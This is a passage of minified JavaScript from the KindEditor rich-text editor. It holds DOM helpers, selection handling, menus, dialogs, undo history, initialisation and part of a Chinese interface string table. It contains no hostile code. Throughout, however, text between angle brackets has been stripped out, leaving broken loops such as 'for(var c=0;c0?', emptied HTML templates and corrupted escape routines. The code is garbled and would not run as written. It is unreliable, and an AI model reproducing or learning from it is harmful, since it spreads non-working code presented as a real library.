")}var k=d.setting.inlineTags.join("|"),l=function(m){var p=m.replace(new RegExp("<("+k+")[^>]*><\\/("+k+")>","ig"),function(o,q,r){return q==r?"":o});if(m!==p)p=l(p);return p};return d.util.trim(l(a))}};d.addClass=function(a,b){if(typeof a=="object"){var c=a.className;if(c){if((" "+c+" ").indexOf(" "+ b+" ")<0)a.className=c+" "+b}else a.className=b}else if(typeof a=="string")a=/\s+class\s*=/.test(a)?a.replace(/(\s+class=["']?)([^"']*)(["']?[\s>])/,function(e,g,h,i){return(" "+h+" ").indexOf(" "+b+" ")<0?h===""?g+b+i:g+h+" "+b+i:e}):a.substr(0,a.length-1)+' class="'+b+'">';return a};d.removeClass=function(a,b){var c=a.className||"";c=" "+c+" ";b=" "+b+" ";if(c.indexOf(b)>=0){c=d.util.trim(c.replace(new RegExp(b,"ig"),""));if(c===""){c=a.getAttribute("class")?"class":"className";a.removeAttribute(c)}else a.className= c}return a};d.getComputedStyle=function(a,b){var c=a.ownerDocument,e=c.parentWindow||c.defaultView;c=d.util.getJsKey(b);var g="";if(e.getComputedStyle){e=e.getComputedStyle(a,null);g=e[c]||e.getPropertyValue(b)||a.style[c]}else if(a.currentStyle)g=a.currentStyle[c]||a.style[c];return g};d.getCommonAncestor=function(a,b){function c(i){for(;i;){if(i.nodeType==1)if(i.tagName.toLowerCase()===b)return i;i=i.parentNode}return null}var e=a.range,g=a.keRange,h=g.startNode;g=g.endNode;if(d.util.inArray(b, ["table","td","tr"]))if(d.browser.IE)if(e.item){if(e.item(0).nodeName.toLowerCase()===b)h=g=e.item(0)}else{h=e.duplicate();h.collapse(true);e=e.duplicate();e.collapse(false);h=h.parentElement();g=e.parentElement()}else{h=e.cloneRange();h.collapse(true);e=e.cloneRange();e.collapse(false);h=h.startContainer;g=e.startContainer}e=c(h);h=c(g);if(e&&h&&e===h)return e;return null};d.queryCommandValue=function(a,b){function c(){var i=a.queryCommandValue(b);if(typeof i!=="string")i="";return i}b=b.toLowerCase(); var e="";if(b==="fontname"){e=c();e=e.replace(/['"]/g,"")}else if(b==="formatblock"){e=c();if(e===""){var g=new d.selection(a),h=d.getCommonAncestor(g,"h1");h||(h=d.getCommonAncestor(g,"h2"));h||(h=d.getCommonAncestor(g,"h3"));h||(h=d.getCommonAncestor(g,"h4"));h||(h=d.getCommonAncestor(g,"p"));if(h)e=h.nodeName}if(e==="Normal")e="p"}else if(b==="fontsize"){g=new d.selection(a);if(h=d.getCommonAncestor(g,"span"))e=d.getComputedStyle(h,"font-size")}else if(b==="textcolor"){g=new d.selection(a);if(h= d.getCommonAncestor(g,"span"))e=d.getComputedStyle(h,"color");e=d.util.rgbToHex(e);if(e==="")e="default"}else if(b==="bgcolor"){g=new d.selection(a);if(h=d.getCommonAncestor(g,"span"))e=d.getComputedStyle(h,"background-color");e=d.util.rgbToHex(e);if(e==="")e="default"}return e.toLowerCase()};d.util={getDocumentElement:function(a){a=a||document;return a.compatMode!="CSS1Compat"?a.body:a.documentElement},getDocumentHeight:function(a){a=this.getDocumentElement(a);return Math.max(a.scrollHeight,a.clientHeight)}, getDocumentWidth:function(a){a=this.getDocumentElement(a);return Math.max(a.scrollWidth,a.clientWidth)},createTable:function(a){a=d.$$("table",a);a.cellPadding=0;a.cellSpacing=0;a.border=0;return{table:a,cell:a.insertRow(0).insertCell(0)}},loadStyle:function(a){var b=d.$$("link");b.setAttribute("type","text/css");b.setAttribute("rel","stylesheet");b.setAttribute("href",a);document.getElementsByTagName("head")[0].appendChild(b)},getAttrList:function(a){for(var b=/\s+(?:([\w-:]+)|(?:([\w-:]+)=([\w-:]+))|(?:([\w-:]+)="([^"]*)")|(?:([\w-:]+)='([^']*)'))(?=(?:\s|\/|>)+)/g, c,e,g={};c=b.exec(a);){e=c[1]||c[2]||c[4]||c[6];c=c[1]||(c[2]?c[3]:c[4]?c[5]:c[7]);g[e]=c}return g},inArray:function(a,b){for(var c=0;c0?b[c].charAt(0).toUpperCase()+b[c].substr(1):b[c];return a},arrayToHash:function(a){for(var b={},c=0,e=a.length;c/g,">");return a=a.replace(/"/g,""")},unescape:function(a){a=a.replace(/</g,"<");a=a.replace(/>/g,">");a=a.replace(/"/g,'"');return a=a.replace(/&/g,"&")},getScrollPos:function(){var a,b;if(d.browser.IE||d.browser.OPERA){b=this.getDocumentElement();a=b.scrollLeft;b=b.scrollTop}else{a=window.scrollX;b=window.scrollY}return{x:a,y:b}},getElementPos:function(a){var b=0,c=0;if(a.getBoundingClientRect){c=a.getBoundingClientRect();a=this.getScrollPos(); b=c.left+a.x;c=c.top+a.y}else{b=a.offsetLeft;c=a.offsetTop;for(a=a.offsetParent;a;){b+=a.offsetLeft;c+=a.offsetTop;a=a.offsetParent}}return{x:b,y:c}},getCoords:function(a){a=a||window.event;return{x:a.clientX,y:a.clientY}},setOpacity:function(a,b){if(typeof a.style.opacity=="undefined")a.style.filter=b==100?"":"alpha(opacity="+b+")";else a.style.opacity=b==100?"":b/100},getIframeDoc:function(a){return a.contentDocument||a.contentWindow.document},rgbToHex:function(a){function b(c){c=parseInt(c).toString(16); return c.length>1?c:"0"+c}return a.replace(/rgb\s*?\(\s*?(\d+)\s*?,\s*?(\d+)\s*?,\s*?(\d+)\s*?\)/ig,function(c,e,g,h){return"#"+b(e)+b(g)+b(h)})},parseJson:function(a){var b;if(b=/\{[\s\S]*\}|\[[\s\S]*\]/.exec(a))a=b[0];b=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;b.lastIndex=0;if(b.test(a))a=a.replace(b,function(c){return"\\u"+("0000"+c.charCodeAt(0).toString(16)).slice(-4)});if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return eval("("+a+")");throw"JSON parse error";},createRange:function(a){return a.createRange?a.createRange():a.body.createTextRange()},getNodeType:function(a){return a.nodeType==1&&d.util.inArray(a.tagName.toLowerCase(),d.setting.noEndTags)?88:a.nodeType},inMarquee:function(a){for(a=a;a;){if(a.nodeName.toLowerCase()==="marquee")return true;a=a.parentNode}return false},moveToElementText:function(a, b){this.inMarquee(b)||a.moveToElementText(b)},getNodeTextLength:function(a){var b=d.util.getNodeType(a);if(b==1)return a.innerHTML.replace(/<.*?>/ig,"").length;else if(b==3)return a.nodeValue.length},getNodeStartRange:function(a,b){var c=d.util.createRange(a),e=b.nodeType;if(e==1){d.util.moveToElementText(c,b);return c}else if(e==3){e=0;for(var g=b.previousSibling;g;){if(g.nodeType==1){var h=d.util.createRange(a);d.util.moveToElementText(h,g);c.setEndPoint("StartToEnd",h);c.moveStart("character", e);return c}else if(g.nodeType==3)e+=g.nodeValue.length;g=g.previousSibling}d.util.moveToElementText(c,b.parentNode);c.moveStart("character",e);return c}},removeParent:function(a){if(a.hasChildNodes)for(var b=a.firstChild;b;){var c=b.nextSibling;a.parentNode.insertBefore(b,a);b=c}a.parentNode.removeChild(a)},pluginLang:function(a,b){d.each(d.lang.plugins[a],function(c,e){var g=d.$("lang."+c,b);if(g){g.parentNode.insertBefore(b.createTextNode(e),g);g.parentNode.removeChild(g)}})},drag:function(a,b, c,e){var g=d.g[a];b.onmousedown=function(h){function i(s){if(x){var z=d.util.getCoords(s),A=d.util.getScrollPos();s=parseInt(z.y-u-v+A.y);z=parseInt(z.x-n-t+A.x);e(p,o,q,r,s,z)}}function j(s){if(x){var z=d.util.getCoords(s,g.iframeDoc);s=parseInt(w.y+z.y-u-v);z=parseInt(w.x+z.x-n-t);e(p,o,q,r,s,z)}}function k(s){x=false;l.releaseCapture&&l.releaseCapture();d.event.remove(document,"mousemove",i);d.event.remove(document,"mouseup",k);d.event.remove(g.iframeDoc,"mousemove",j);d.event.remove(g.iframeDoc, "mouseup",k);d.event.remove(document,"selectstart",y);d.event.stop(s);return false}var l=this;h=h||window.event;var m=d.util.getCoords(h),p=parseInt(c.style.top),o=parseInt(c.style.left),q=c.style.width,r=c.style.height;if(q.match(/%$/))q=c.offsetWidth+"px";if(r.match(/%$/))r=c.offsetHeight+"px";q=parseInt(q);r=parseInt(r);var u=m.y,n=m.x;m=d.util.getScrollPos();var v=m.y,t=m.x,x=true,w=d.util.getElementPos(g.iframe),y=function(){return false};d.event.add(document,"mousemove",i);d.event.add(document, "mouseup",k);d.event.add(g.iframeDoc,"mousemove",j);d.event.add(g.iframeDoc,"mouseup",k);d.event.add(document,"selectstart",y);l.setCapture&&l.setCapture();d.event.stop(h);return false}},resize:function(a,b,c,e,g){g=typeof g=="undefined"?true:g;a=d.g[a];if(a.container)if(!(e&&(parseInt(b)<=a.minWidth||parseInt(c)<=a.minHeight))){if(g)a.container.style.width=b;a.container.style.height=c;b=parseInt(c)-a.toolbarHeight-a.statusbarHeight;if(b>=0){a.iframe.style.height=b+"px";a.newTextarea.style.height= ((d.browser.IE&&d.browser.VERSION<8||document.compatMode!="CSS1Compat")&&b>=2?b-2:b)+"px"}}},hideLoadingPage:function(a){a=d.g[a].dialogStack;a=a[a.length-1];a.loading.style.display="none";a.iframe.style.display=""},showLoadingPage:function(a){a=d.g[a].dialogStack;a=a[a.length-1];a.loading.style.display="";a.iframe.style.display="none"},setDefaultPlugin:function(){for(var a=["selectall","justifyleft","justifycenter","justifyright","justifyfull","insertorderedlist","insertunorderedlist","indent","outdent", "subscript","superscript","bold","italic","underline","strikethrough"],b={bold:"B",italic:"I",underline:"U"},c=0;c';a=d.g[a].cssPath;if(typeof a=="string")a=[a];for(var c=0,e=a.length;c';b+="";b+='';b+="";return b},getMediaType:function(a){return a.match(/\.(rm|rmvb)(\?|$)/i)?"rm":a.match(/\.(swf|flv)(\?|$)/i)?"flash":"media"},getMediaImage:function(a, b,c){var e=c.width,g=c.height;b=b||this.getMediaType(c.src);c=this.getMediaEmbed(c);var h="";if(e>0)h+="width:"+e+"px;";if(g>0)h+="height:"+g+"px;";a='';return a},getMediaEmbed:function(a){var b="]*>\s*$/ig,"");e=e.replace(/^\s*

\s* \s*<\/p>\s*$/ig,"");return c.filterMode?d.format.getHtml(e,c.htmlTags,c.urlType):d.format.getHtml(e,null,c.urlType)},getData:function(a,b){var c=d.g[a];(b=b===f?c.wyswygMode: b)||this.innerHtml(c.iframeDoc.body,d.util.execSetHtmlHooks(a,c.newTextarea.value));return this.toData(a,c.iframeDoc.body.innerHTML)},getSrcData:function(a){var b=d.g[a];b.wyswygMode||this.innerHtml(b.iframeDoc.body,d.util.execSetHtmlHooks(a,b.newTextarea.value));return b.iframeDoc.body.innerHTML},getPureData:function(a){return this.extractText(this.getData(a))},extractText:function(a){a=a.replace(/<(?!img|embed).*?>/ig,"");return a=a.replace(/ /ig," ")},isEmpty:function(a){return this.getPureData(a).replace(/\r\n|\n|\r/, "").replace(/^\s+|\s+$/,"")===""},setData:function(a){var b=d.g[a];if(b.srcTextarea)b.srcTextarea.value=this.getData(a)},focus:function(a){a=d.g[a];a.wyswygMode?a.iframeWin.focus():a.newTextarea.focus()},click:function(a,b){this.focus(a);d.hideMenu(a);d.plugin[b].click(a)},selection:function(a){if(!d.browser.IE||!d.g[a].keRange)this.setSelection(a)},setSelection:function(a){a=d.g[a];var b=new d.selection(a.iframeDoc);if(!d.browser.IE||b.range.item||b.range.parentElement().ownerDocument===a.iframeDoc){a.keSel= b;a.keRange=a.keSel.keRange;a.sel=a.keSel.sel;a.range=a.keSel.range}},select:function(a){d.browser.IE&&d.g[a].wyswygMode&&d.g[a].range&&d.g[a].range.select()},execCommand:function(a,b,c){d.util.focus(a);d.util.select(a);try{d.g[a].iframeDoc.execCommand(b,false,c)}catch(e){}d.toolbar.updateState(a);d.util.execOnchangeHandler(a)},innerHtml:function(a,b){if(d.browser.IE){a.innerHTML=''+b;var c=d.$("__ke_temp_tag__",a.ownerDocument);c&&c.parentNode.removeChild(c)}else a.innerHTML= b},pasteHtml:function(a,b,c){a=d.g[a];if(c)b=''+b;else b+='';if(d.browser.IE)if(a.range.item)a.range.item(0).outerHTML=b;else a.range.pasteHTML(b);else{a.range.deleteContents();b=a.range.createContextualFragment(b);a.range.insertNode(b)}b=d.$("__ke_temp_tag__",a.iframeDoc);c=a.iframeDoc.createTextNode("");b.parentNode.replaceChild(c,b);a.keRange.selectNode(c);a.keSel.addRange(a.keRange)},insertHtml:function(a, b){if(b!==""){var c=d.g[a];if(c.wyswygMode)if(c.range){b=this.execSetHtmlHooks(a,b);if(d.browser.IE){this.select(a);if(c.range.item)try{c.range.item(0).outerHTML=b}catch(e){c=c.range.item(0);var g=c.parentNode;g.removeChild(c);if(g.nodeName.toLowerCase()!="body")g=g.parentNode;this.innerHtml(g,b+g.innerHTML)}else c.range.pasteHTML(b)}else if(d.browser.GECKO&&d.browser.VERSION<3){this.execCommand(a,"inserthtml",b);return}else this.pasteHtml(a,b);d.util.execOnchangeHandler(a)}}},setFullHtml:function(a, b){var c=d.g[a];if(!d.browser.IE&&b==="")b="
";b=d.util.execSetHtmlHooks(a,b);this.innerHtml(c.iframeDoc.body,b);if(!c.wyswygMode)c.newTextarea.value=d.util.getData(a,true);d.util.execOnchangeHandler(a)},selectImageWebkit:function(a,b,c){if(d.browser.WEBKIT){b=b.srcElement||b.target;if(b.tagName.toLowerCase()=="img"){c&&d.util.selection(a);c=d.g[a].keRange;c.selectNode(b);d.g[a].keSel.addRange(c)}}},addTabEvent:function(a){d.event.add(d.g[a].iframeDoc,"keydown",function(b){if(b.keyCode==9){d.util.setSelection(a); d.util.insertHtml(a,"    ");d.event.stop(b);return false}},a)},addContextmenuEvent:function(a){var b=d.g[a];b.contextmenuItems.length!=0&&d.event.add(b.iframeDoc,"contextmenu",function(c){d.hideMenu(a);d.util.setSelection(a);d.util.selectImageWebkit(a,c,false);for(var e=0,g=[],h=0,i=b.contextmenuItems.length;he)e=k}}j=j}for(;g.length> 0&&g[0]==="-";)g.shift();for(;g.length>0&&g[g.length-1]==="-";)g.pop();j=null;h=0;for(i=g.length;h0){var l=new d.menu({id:a,event:c,type:"contextmenu",width:e});h=0;for(i=g.length;h");e=b.keRange.startNode.nextSibling;if(d.browser.IE)e||d.util.pasteHtml(a, "
",true);else if(d.browser.WEBKIT)if(e){var g=new d.range(b.iframeDoc);g.selectNode(e.parentNode);g.setStart(e,0);g.cloneContents().innerHTML.replace(/<(?!img|embed).*?>/ig,"")===""&&d.util.pasteHtml(a,"
",true)}else d.util.pasteHtml(a,"
",true);d.event.stop(c);return false}}else d.util.inArray(e,["p","h1","h2","h3","h4","h5","h6","pre","div","li"])||d.util.execCommand(a,"formatblock","

");return true}},a)}};d.layout={hide:function(a){var b=d.g[a];d.hideMenu(a);for(a=b.dialogStack;a.length> 0;)a[a.length-1].hide();b.maskDiv.style.display="none"}};d.hideMenu=function(a){a=d.g[a];a.hideDiv.innerHTML="";a.hideDiv.style.display="none"};d.colorpicker=function(a){var b,c=a.x||0,e=a.y||0,g=a.z||0,h=a.colors||d.setting.colorTable,i=a.doc||document,j=a.onclick,k=(a.selectedColor||"").toLowerCase();b=d.$$("div");b.className="ke-colorpicker";b.style.top=e+"px";b.style.left=c+"px";b.style.zIndex=g;this.remove=function(){i.body.removeChild(b)};this.getElement=function(){function l(n,v,t){if(k=== v.toLowerCase())t+=" ke-colorpicker-cell-selected";n.className=t;n.title=v||d.lang.noColor;n.onmouseover=function(){this.className=t+" ke-colorpicker-cell-on"};n.onmouseout=function(){this.className=t};n.onclick=function(){j(v)};if(v){var x=d.$$("div");x.className="ke-colorpicker-cell-color";x.style.backgroundColor=v;n.appendChild(x)}else n.innerHTML=d.lang.noColor}var m=d.$$("table");m.className="ke-colorpicker-table";m.cellPadding=0;m.cellSpacing=0;m.border=0;var p=m.insertRow(0),o=p.insertCell(0); o.colSpan=h[0].length;l(o,"","ke-colorpicker-cell-top");for(var q=0;q0||e>0){g=d.util.getScrollPos();var j=d.util.getDocumentElement();g=g.x+j.clientWidth-c-2;if(h>g)h=g}return{x:h,y:i}}(function(){var c=a.width;this.type=a.type&&a.type=="contextmenu"?a.type:"menu";var e=d.$$("div");e.className="ke-"+this.type;e.setAttribute("name",a.cmd);var g=b.call(this,0,0);e.style.top=g.y+"px";e.style.left=g.x+"px";if(a.width)e.style.width=/^\d+$/.test(c)? c+"px":c;d.event.bind(e,"click",function(){},a.id);d.event.bind(e,"mousedown",function(){},a.id);this.div=e}).call(this);this.add=function(c,e,g){var h,i,j=false;if(g!==f){h=g.height;i=g.iconHtml;j=g.checked}var k=this;g=d.$$("div");g.className="ke-"+k.type+"-item";if(h)g.style.height=h;var l=d.$$("div");l.className="ke-"+this.type+"-left";var m=d.$$("div");m.className="ke-"+k.type+"-center";if(h)m.style.height=h;var p=d.$$("div");p.className="ke-"+this.type+"-right";if(h)p.style.lineHeight=h;g.onmouseover= function(){this.className="ke-"+k.type+"-item ke-"+k.type+"-item-on";m.className="ke-"+k.type+"-center ke-"+k.type+"-center-on"};g.onmouseout=function(){this.className="ke-"+k.type+"-item";m.className="ke-"+k.type+"-center"};g.onclick=e;g.appendChild(l);g.appendChild(m);g.appendChild(p);if(j)d.util.innerHtml(l,'');else i&&d.util.innerHtml(l,i);d.util.innerHtml(p,c);this.append(g)};this.addSeparator=function(){var c=d.$$("div"); c.className="ke-"+this.type+"-separator";this.append(c)};this.append=function(c){this.div.appendChild(c)};this.insert=function(c){d.util.innerHtml(this.div,c)};this.hide=function(){d.hideMenu(a.id)};this.show=function(){this.hide();var c=a.id;d.g[c].hideDiv.style.display="";d.g[c].hideDiv.appendChild(this.div);c=b.call(this,this.div.clientWidth,this.div.clientHeight);this.div.style.top=c.y+"px";this.div.style.left=c.x+"px"};this.picker=function(c){this.append((new d.colorpicker({colors:d.g[a.id].colorTable, onclick:function(e){d.plugin[a.cmd].exec(a.id,e)},selectedColor:c})).getElement());this.show()}};d.dialog=function(a){function b(){d.util.getDocumentElement();var h=d.util.getScrollPos();e=h.y;g=h.x}function c(){var h=this.width+this.widthMargin,i=this.height+this.heightMargin,j=a.id,k=d.g[j],l=0,m=0;if(k.dialogAlignType=="page"){k=d.util.getDocumentElement();j=d.util.getScrollPos();l=Math.round(j.x+(k.clientWidth-h)/2);m=Math.round(j.y+(k.clientHeight-i)/2)}else{j=d.util.getElementPos(d.g[j].container); k=k.container;l=Math.round(k.clientWidth/2)-Math.round(h/2);i=Math.round(k.clientHeight/2)-Math.round(i/2);l=l<0?j.x:j.x+l;m=i<0?j.y:j.y+i}return{x:l<0?0:l,y:m<0?0:m}}this.widthMargin=30;this.heightMargin=100;this.zIndex=19811214;this.width=a.width;this.height=a.height;var e,g;this.beforeHide=a.beforeHide;this.afterHide=a.afterHide;this.beforeShow=a.beforeShow;this.afterShow=a.afterShow;this.ondrag=a.ondrag;this.resize=function(h,i){if(h)this.width=h;if(i)this.height=i;this.hide();this.show()};this.hide= function(){this.beforeHide&&this.beforeHide(h);var h=a.id,i=d.g[h].dialogStack;if(i[i.length-1]==this){var j=i.pop().iframe;j.src="javascript:false";j.parentNode.removeChild(j);document.body.removeChild(this.div);if(i.length<1)d.g[h].maskDiv.style.display="none";d.event.remove(window,"resize",b);d.event.remove(window,"scroll",b);this.afterHide&&this.afterHide(h);d.util.focus(h)}};this.show=function(){this.beforeShow&&this.beforeShow(i);var h=this,i=a.id,j=d.$$("div");j.className="ke-dialog";d.event.bind(j, "click",function(){},i);d.event.bind(j,"mousedown",function(){},i);var k=d.g[i].dialogStack;if(k.length>0)this.zIndex=k[k.length-1].zIndex+1;j.style.zIndex=this.zIndex;k=c.call(this);j.style.top=k.y+"px";j.style.left=k.x+"px";var l;if(d.g[i].shadowMode){k=d.$$("table");k.className="ke-dialog-table";k.cellPadding=0;k.cellSpacing=0;k.border=0;for(var m=["t","m","b"],p=["l","c","r"],o=0;o<3;o++)for(var q=k.insertRow(o),r=0;r<3;r++){var u=q.insertCell(r);u.className="ke-"+m[o]+p[r];if(o==1&&r==1)l=u; else u.innerHTML=''}j.appendChild(k)}else{d.addClass(j,"ke-dialog-no-shadow");l=j}k=d.$$("div");k.className="ke-dialog-title";k.innerHTML=a.title;m=d.$$("span");m.className="ke-dialog-close";d.g[i].shadowMode?d.addClass(m,"ke-dialog-close-shadow"):d.addClass(m,"ke-dialog-close-no-shadow");m.alt=d.lang.close;m.title=d.lang.close;m.onclick=function(){h.hide();d.util.select(i)};k.appendChild(m);b();d.event.add(window,"resize",b);d.event.add(window,"scroll",b);d.util.drag(i, k,j,function(n,v,t,x,w,y){h.ondrag&&h.ondrag(i);b();w=n+w;y=v+y;if(w0)c=a[a.length-1];if(a.length==0||b!==c)a.push(b)},add:function(a,b){var c=d.g[a],e=d.util.getSrcData(a);if(c.undoStack.length>0)if(Math.abs(e.length-c.undoStack[c.undoStack.length-1].length)0)e=b.undoStack.pop();e=d.util.toData(a, e);if(b.wyswygMode)d.util.innerHtml(b.iframeDoc.body,d.util.execSetHtmlHooks(a,e));else b.newTextarea.value=e}},redo:function(a){var b=d.g[a];if(b.redoStack.length!=0){var c=d.util.getSrcData(a);this.addStackData(b.undoStack,c);c=b.redoStack.pop();c=d.util.toData(a,c);if(b.wyswygMode)d.util.innerHtml(b.iframeDoc.body,d.util.execSetHtmlHooks(a,c));else b.newTextarea.value=c}}};d.readonly=function(a,b){b=b==f?true:b;var c=d.g[a];if(d.browser.IE)c.iframeDoc.body.contentEditable=b?"false":"true";else c.iframeDoc.designMode= b?"off":"on"};d.focus=function(a,b){b=(b||"").toLowerCase();if(d.g[a].container){d.util.focus(a);if(b==="end"){d.util.setSelection(a);if(d.g[a].sel){var c=d.g[a].keSel,e=d.g[a].keRange;e.selectTextNode(d.g[a].iframeDoc.body);e.collapse(false);c.addRange(e)}}}};d.html=function(a,b){if(b===f)return d.util.getData(a);else if(d.g[a].container){d.util.setFullHtml(a,b);d.focus(a,"end")}};d.text=function(a,b){if(b===f){b=d.html(a);b=b.replace(/<.*?>/ig,"");b=b.replace(/ /ig," ");return b=d.util.trim(b)}else d.html(a, d.util.escape(b))};d.insertHtml=function(a,b){if(d.g[a].container)if(d.g[a].range){d.focus(a);d.util.selection(a);d.util.insertHtml(a,b)}else d.appendHtml(a,b)};d.appendHtml=function(a,b){d.html(a,d.html(a)+b);d.focus(a,"end")};d.isEmpty=function(a){return d.util.isEmpty(a)};d.selectedHtml=function(a){var b=d.g[a].range;if(!b)return"";var c="";if(d.browser.IE)c=b.item?b.item(0).outerHTML:b.htmlText;else{c=d.$$("div",d.g[a].iframeDoc);c.appendChild(b.cloneContents());c=c.innerHTML}return d.util.toData(a, c)};d.count=function(a,b){b=(b||"html").toLowerCase();if(b==="html")return d.html(a).length;else if(b==="text"){var c=d.util.getPureData(a);c=c.replace(/<(?:img|embed).*?>/ig,"K");c=c.replace(/\r\n|\n|\r/g,"");c=d.util.trim(c);return c.length}return 0};d.remove=function(a,b){var c=d.g[a];if(!c.container)return false;b=typeof b=="undefined"?0:b;d.util.setData(a);for(var e=c.container,g=c.eventStack,h=0,i=g.length;h0&&d.util.resize(a,A+"px",B+C+"px",true,false)});d.each(d.plugin,function(s,z){z.init&&z.init(a)});d.g[a].getHtmlHooks.push(function(s){return s.replace(/(<[^>]*)kesrc="([^"]+)"([^>]*>)/ig,function(z,A,B){z=z.replace(/(\s+(?:href|src)=")[^"]+(")/i,"$1"+B+"$2");return z= z.replace(/\s+kesrc="[^"]+"/i,"")})});d.g[a].setHtmlHooks.push(function(s){return s.replace(/(<[^>]*)(href|src)="([^"]+)"([^>]*>)/ig,function(z,A,B,C,D){if(z.match(/\skesrc="[^"]+"/i))return z;return A+B+'="'+C+'" kesrc="'+C+'"'+D})});d.util.addContextmenuEvent(a);d.util.addNewlineEvent(a);d.util.addTabEvent(a);d.event.input(w,g,a);d.event.add(w,"mouseup",g,a);d.event.add(document,"mousedown",g,a);d.onchange(a,function(s){if(d.g[s].autoSetDataMode){d.util.setData(s);d.g[s].afterSetData&&d.g[s].afterSetData(s)}d.history.add(s, d.g[s].minChangeSize)});d.browser.IE&&d.browser.VERSION>7&&d.readonly(a,false);d.util.setFullHtml(a,i.value);d.history.add(a,0);b>0&&d.util.focus(a);d.g[a].afterCreate&&d.g[a].afterCreate(a)}};d.onchange=function(a,b){function c(){b(a)}var e=d.g[a];e.onchangeHandlerStack.push(c);d.event.input(e.iframeDoc,c,a);d.event.input(e.newTextarea,c,a);d.event.add(e.iframeDoc,"mouseup",function(){window.setTimeout(function(){b(a)},0)},a)};d.init=function(a){var b=d.g[a.id]=a;b.config={};b.undoStack=[];b.redoStack= [];b.dialogStack=[];b.contextmenuItems=[];b.getHtmlHooks=[];b.setHtmlHooks=[];b.onchangeHandlerStack=[];b.eventStack=[];d.each(d.setting,function(c,e){b[c]=typeof a[c]=="undefined"?e:a[c];b.config[c]=b[c]});b.loadStyleMode&&d.util.loadStyle(b.skinsPath+b.skinType+".css")};d.show=function(a){d.init(a);d.event.ready(function(){d.create(a.id)})};if(window.KE===f)window.KE=d;window.KindEditor=d})(); (function(f){f.langType="zh_CN";f.lang={source:"HTML\u4ee3\u7801",undo:"\u540e\u9000(Ctrl+Z)",redo:"\u524d\u8fdb(Ctrl+Y)",cut:"\u526a\u5207(Ctrl+X)",copy:"\u590d\u5236(Ctrl+C)",paste:"\u7c98\u8d34(Ctrl+V)",plainpaste:"\u7c98\u8d34\u4e3a\u65e0\u683c\u5f0f\u6587\u672c",wordpaste:"\u4eceWord\u7c98\u8d34",selectall:"\u5168\u9009",justifyleft:"\u5de6\u5bf9\u9f50",justifycenter:"\u5c45\u4e2d",justifyright:"\u53f3\u5bf9\u9f50",justifyfull:"\u4e24\u7aef\u5bf9\u9f50",insertorderedlist:"\u7f16\u53f7",insertunorderedlist:"\u9879\u76ee\u7b26\u53f7", indent:"\u589e\u52a0\u7f29\u8fdb",outdent:"\u51cf\u5c11\u7f29\u8fdb",subscript:"\u4e0b\u6807",superscript:"\u4e0a\u6807",title:"\u6807\u9898",fontname:"\u5b57\u4f53",fontsize:"\u6587\u5b57\u5927\u5c0f",textcolor:"\u6587\u5b57\u989c\u8272",bgcolor:"\u6587\u5b57\u80cc\u666f",bold:"\u7c97\u4f53(Ctrl+B)",italic:"\u659c\u4f53(Ctrl+I)",underline:"\u4e0b\u5212\u7ebf(Ctrl+U)",strikethrough:"\u5220\u9664\u7ebf",removeformat:"\u5220\u9664\u683c\u5f0f",image:"\u56fe\u7247",flash:"\u63d2\u5165Flash",media:"\u63d2\u5165\u591a\u5a92\u4f53", table:"\u63d2\u5165\u8868\u683c",hr:"\u63d2\u5165\u6a2a\u7ebf",emoticons:"\u63d2\u5165\u8868\u60c5",link:"\u8d85\u7ea7\u94fe\u63a5",unlink:"\u53d6\u6d88\u8d85\u7ea7\u94fe\u63a5",fullscreen:"\u5168\u5c4f\u663e\u793a",about:"\u5173\u4e8e",print:"\u6253\u5370",fileManager:"\u6d4f\u89c8\u670d\u52a1\u5668",advtable:"\u8868\u683c",yes:"\u786e\u5b9a",no:"\u53d6\u6d88",close:"\u5173\u95ed",editImage:"\u56fe\u7247\u5c5e\u6027",deleteImage:"\u5220\u9664\u56fe\u7247",editLink:"\u8d85\u7ea7\u94fe\u63a5\u5c5e\u6027", deleteLink:"\u53d6\u6d88\u8d85\u7ea7\u94fe\u63a5",tableprop:"\u8868\u683c\u5c5e\u6027",tableinsert:"\u63d2\u5165\u8868\u683c",tabledelete:"\u5220\u9664\u8868\u683c",tablecolinsertleft:"\u5de6\u4fa7\u63d2\u5165\u5217",tablecolinsertright:"\u53f3\u4fa7\u63d2\u5165\u5217",tablerowinsertabove:"\u4e0a\u65b9\u63d2\u5165\u884c",tablerowinsertbelow:"\u4e0b\u65b9\u63d2\u5165\u884c",tablecoldelete:"\u5220\u9664\u5217",tablerowdelete:"\u5220\u9664\u884c",noColor:"\u65e0\u989c\u8272",invalidImg:"\u8bf7\u8f93\u5165\u6709\u6548\u7684URL\u5730\u5740\u3002\n\u53ea\u5141\u8bb8jpg,gif,bmp,png\u683c\u5f0f\u3002", invalidMedia:"\u8bf7\u8f93\u5165\u6709\u6548\u7684URL\u5730\u5740\u3002\n\u53ea\u5141\u8bb8swf,flv,mp3,wav,wma,wmv,mid,avi,mpg,asf,rm,rmvb\u683c\u5f0f\u3002",invalidWidth:"\u5bbd\u5ea6\u5fc5\u987b\u4e3a\u6570\u5b57\u3002",invalidHeight:"\u9ad8\u5ea6\u5fc5\u987b\u4e3a\u6570\u5b57\u3002",invalidBorder:"\u8fb9\u6846\u5fc5\u987b\u4e3a\u6570\u5b57\u3002",invalidUrl:"\u8bf7\u8f93\u5165\u6709\u6548\u7684URL\u5730\u5740\u3002",invalidRows:"\u884c\u6570\u4e3a\u5fc5\u9009\u9879\uff0c\u53ea\u5141\u8bb8\u8f93\u5165\u5927\u4e8e0\u7684\u6570\u5b57\u3002", 